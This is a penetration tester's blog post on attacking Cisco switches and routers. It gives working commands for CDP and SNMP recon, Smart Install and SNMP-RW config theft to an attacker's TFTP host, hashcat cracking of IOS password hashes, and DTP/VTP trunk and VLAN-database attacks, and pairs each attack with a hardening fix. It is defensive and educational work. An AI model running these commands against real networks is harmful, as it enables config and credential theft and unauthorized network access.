Back to blog

Cisco / Offensive  ·  Security  ·  July 2026

Attacking Cisco Gear
A Pentester's Field Guide

The whole series so far builds and hardens IOS. This post is the other side of the table: what I actually run against a Cisco switch or router on an engagement, and why each attack works. Every technique here maps back to a one-line fix from earlier posts — that's the point. You harden what you understand gets attacked.

Cisco IOS Offensive Pentest Smart Install SNMP Layer 2

Attacker on-LAN / access port Catalyst / ISR IOS target CDP leak · SNMP · SMI 4786 DTP trunk-negotiation · VTP running-config creds · SNMP · keys exfil Most Cisco compromises are configuration, not code — old defaults left on, not zero-days.
◆ Scope & Authorized Use

Everything below is for authorized security testing — your own lab, a CTF, or an engagement with written scope — and to show defenders exactly what they're hardening against. Running these against gear you don't own or aren't contracted to test is illegal. The commands assume a lab (GNS3/CML/EVE-NG or kit on your bench); the payoff is the fix in each section, cross-linked to the defensive posts in this series.

Here's the uncomfortable truth from years of network pentests: you almost never exploit a Cisco box in the CVE sense. You collect it. The device hands you its own config through a management protocol nobody turned off, or an access port negotiates itself into a trunk, or a "temporary" SNMP community from 2014 is still private. The attack surface is the sum of every default the last engineer didn't disable.

This guide walks the real kill-chain in order: recon (CDP/LLDP and SNMP tell you the model, IOS version, and management IP for free), config theft (Smart Install and SNMP-RW both hand over running-config unauthenticated), credential cracking (the password types in that config, from the trivially-reversible type 7 to the crackable type 5), and Layer-2 abuse (DTP and VTP, the switch attacks that get you into VLANs you shouldn't reach). Each section ends with the single command that closes it.

Pairs with

01

Recon — The Device Introduces Itself Passive

Before touching anything, listen. Cisco Discovery Protocol broadcasts the device's identity to every access port every 60 seconds — model, IOS version, native VLAN, and management IP, no auth required. It's the friendliest recon in networking.

Attacker (on-LAN) — sniff CDP/LLDP, then fingerprint over SNMP
# CDP frames are multicast to 01:00:0c:cc:cc:cc every ~60s.
# Sit on an access port and wait one interval.
$ tcpdump -nn -v -i eth0 'ether host 01:00:0c:cc:cc:cc' -c 1
  Device-ID 'CoreSW1.corp.local'  Version 'Cisco IOS ... Version 15.2(4)E7'
  Platform 'cisco WS-C2960X-48'  Address 10.10.0.2  Native VLAN 99  VTP 'CORP'

# That one frame gave us model, IOS train, mgmt IP, native VLAN, VTP domain.
# Now confirm SNMP and guess communities (public/private/cisco are forever).
$ onesixtyone -c /usr/share/wordlists/snmp.txt 10.10.0.2
10.10.0.2 [private] Cisco IOS Software, C2960X ... Version 15.2(4)E7

$ snmpwalk -v2c -c private 10.10.0.2 | head   # RW community — jackpot
◆ The Fix — Turn Off What You Don't Need

CDP belongs between your own devices, never toward users or the edge: no cdp run globally, or no cdp enable per untrusted interface (prefer LLDP only where a phone genuinely needs it). SNMP: kill v1/v2c entirely and move to SNMPv3 with auth+priv — see Observability. If a community string must exist, it is never a dictionary word, and RW communities have no reason to exist on most networks at all.

02

Smart Install — The Config Vending Machine Unauthenticated

Smart Install (SMI) is a zero-touch provisioning feature that listens on TCP 4786 and, on unpatched/unconfigured switches, will accept a crafted message that makes the switch TFTP its own running-config to an address you choose — no credentials. It shipped enabled on a generation of Catalysts and is still everywhere.

Attacker — detect SMI, then pull the config (SIET / Nmap)
# 1. Is Smart Install listening? (TCP 4786)
$ nmap -p4786 -sV --script cisco-smart-install 10.10.0.0/24
10.10.0.2  4786/tcp open  smart-install
  | cisco-smart-install: Device is a Smart Install Client and vulnerable

# 2. Start a TFTP server to catch the loot.
$ sudo atftpd --daemon --port 69 /tmp/loot

# 3. SIET: tell the switch to copy running-config to us over TFTP.
$ python3 siet.py -g -r 10.10.0.2 -l 10.10.0.66
[*] Sending config-copy request to 10.10.0.2 ...
[+] Received CoreSW1-confg (14 KB) -> /tmp/loot/CoreSW1-confg

# The full running-config, including every password hash and key, unauthenticated.
$ grep -E 'secret|password|snmp|key ' /tmp/loot/CoreSW1-confg
⚠ Gotcha — "We Never Configured Smart Install"

That's exactly the problem. SMI is on by default when there's no vstack configuration — the absence of config is the vulnerable state, not the presence of it. show vstack config reporting the role as Client (SmartInstall enabled) on a switch that was never meant to be provisioned this way is the tell. This single feature has driven mass internet-wide config theft campaigns; treat any 4786 exposed to users as a full compromise.

◆ The Fix — One Command

no vstack in global config disables Smart Install outright. If you genuinely can't (rare), restrict 4786 with an ACL to the provisioning server only. Verify with show vstack configRole: Client (SmartInstall disabled). This is the highest-value one-liner in the whole hardening series.

03

SNMP-RW — Copy the Config With a Set Read-Write

A read-write SNMP community isn't "read a few OIDs" — it's an API into the device. With the CISCO-CONFIG-COPY-MIB you tell the switch to TFTP its running-config to you, using nothing but snmpset. Same loot as Smart Install, different unlocked door.

Attacker — drive ccCopyTable to exfil running-config over TFTP
# RW community 'private' from recon. Row index 111 is arbitrary.
# ccCopyProtocol=1(tftp) SourceFileType=4(running) DestFileType=1(networkFile)
$ snmpset -v2c -c private 10.10.0.2 \
    1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1 \
    1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4 \
    1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1 \
    1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a "10.10.0.66" \
    1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s "CoreSW1.cfg" \
    1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1       # RowStatus=createAndGo
  ... ccCopyState.111 = running   ->   success

# Config lands on your TFTP server. Metasploit has this canned:
$ msfconsole -qx "use auxiliary/scanner/snmp/cisco_config_tftp; \
    set RHOSTS 10.10.0.2; set COMMUNITY private; run; exit"
◆ The Fix — No v2c, No RW, No Words

The whole attack dies without a guessable RW community. Migrate to SNMPv3 (authPriv), remove every snmp-server community line, and if legacy v2c is unavoidable, bind it read-only to a management ACL and use a random 20+ char string — never public/private/the hostname. See Observability for the v3 build. Bonus: log snmp-server config-copy events to syslog so an exfil attempt is visible.

04

Cracking What's in the Config

You have the running-config. Now the password hashes in it become creds — and Cisco's password "types" range from instantly reversible to genuinely strong. Knowing which is which tells you what's worth cracking and what falls in seconds.

Type in configAlgorithmAttacker effort
password 7 09424B1C…Vigenère (obfuscation)Instant — reversible, not a hash
secret 5 $1$…MD5-cryptFast — hashcat -m 500
secret 4 $4$…plain SHA-256 (broken impl)Fast — deprecated by Cisco
secret 8 $8$…PBKDF2-SHA256Slow — hashcat -m 9200
secret 9 $9$…scryptSlowest — hashcat -m 9300
Attacker — reverse type 7 instantly, crack type 5 offline
# Type 7 is NOT encryption — it's reversible obfuscation. Decode instantly:
$ echo '09424B1C0007' | ciscot7 -d -
  cisco
# (any type-7 decoder does it; there's nothing to "crack")

# Type 5 (MD5-crypt) — pull from config and throw a wordlist at it.
$ grep 'secret 5' CoreSW1-confg
  enable secret 5 $1$mERr$hx5rVt7rPNoS4wqbXKX7m0
$ hashcat -m 500 -a 0 '$1$mERr$hx5rVt7rPNoS4wqbXKX7m0' rockyou.txt
  $1$mERr$hx5rVt7rPNoS4wqbXKX7m0:cisco123
⚠ Gotcha — service password-encryption Is Theatre

That command only applies type 7 to plaintext passwords in the config — the reversible kind. It stops a shoulder-surfer, nothing more; anyone with the config has the cleartext in one command. It is not a substitute for real hashing. Use enable secret (never enable password), and prefer type 8 or 9 for local users: username admin algorithm-type scrypt secret <pw>. Those are the two rows an attacker groans at.

05

Layer 2 — DTP & VTP, the Switch's Own Weapons

You don't always need the config. If an access port will negotiate a trunk, you get every VLAN. Dynamic Trunking Protocol (DTP) is on by default on many ports, and it's a one-tool attack.

Attacker — negotiate a trunk, then reach every VLAN
# If the port is 'dynamic auto/desirable', DTP will happily trunk with us.
# Yersinia forges DTP to flip the port into a trunk.
$ yersinia dtp -attack 1 -interface eth0
  [+] Enabling trunking on the attached port ...

# Now create a subinterface per VLAN we saw in CDP and we're in all of them.
$ vconfig add eth0 20 && ip addr add 10.20.0.66/24 dev eth0.20
$ ip link set eth0.20 up && ping 10.20.0.1   # VLAN 20 gateway — reachable

# VTP: if the domain is unauthenticated, inject a higher-revision
# advertisement to rewrite/wipe the VLAN database fleet-wide (DoS).
$ yersinia vtp -attack 0 -interface eth0
◆ The Fix — Nail Down Access Ports

On every user/access port: switchport mode access and switchport nonegotiate so DTP can never negotiate a trunk. Set an unused, tagged native VLAN on real trunks (kills double-tagging too), and either run VTP transparent or set a VTP password so injected advertisements are rejected. This is the core of Switch Security — the DTP/VTP attacks exist precisely because the defaults are "negotiate freely."

06

The Attacker's Config Checklist

When I get a running-config on an engagement, this is the grep pass — the lines that turn into findings. Run it against your own configs first.

Look forWhy it's a finding
no vstack absentSmart Install exposed — unauth config theft (§02)
snmp-server communityv1/v2c community; RW = full compromise (§03)
enable password / password 7Reversible or weak; cleartext-equivalent (§04)
secret 5 / secret 4Crackable/deprecated hashes — move to 8/9 (§04)
switchport mode dynamicDTP trunk negotiation → VLAN hopping (§05)
no transport input / telnetCleartext mgmt; sniffable creds — SSH only
cdp run on edgeFree recon handed to any user port (§01)
vtp mode server + no passwordVLAN-DB injection / fleet DoS (§05)

Takeaways

  1. You collect Cisco boxes, you don't exploit them. The attack surface is leftover defaults — management protocols nobody disabled, not zero-days.
  2. Recon is free. CDP hands out model/version/mgmt-IP/VLAN on every access port; SNMP with a guessed community fingerprints the rest. no cdp run at the edge, SNMPv3 only.
  3. Smart Install is the highest-value target. TCP 4786 with no vstack config = unauthenticated running-config theft. no vstack closes it in one line.
  4. SNMP-RW is a config-copy API. A single snmpset sequence TFTPs the config to the attacker. Kill v2c and every RW community.
  5. Know your password types. Type 7 is instant, type 5 cracks fast, types 8/9 resist. service password-encryption protects nothing meaningful.
  6. Layer 2 is a way in. DTP negotiates trunks from access ports; VTP rewrites VLAN databases. switchport mode access + nonegotiate and a VTP password shut both.
  7. Every attack here has a one-line fix already covered in the defensive posts. Offense is just the argument for why you run them.

Want to know what your switches hand out before someone else finds out?

NOCTIS runs authorized network penetration tests and configuration audits on Cisco and MikroTik estates across Crete — Smart Install, SNMP, weak creds, Layer-2 exposure — and hands you a prioritized, fix-first report, not a scanner dump.

Book a Discovery Call →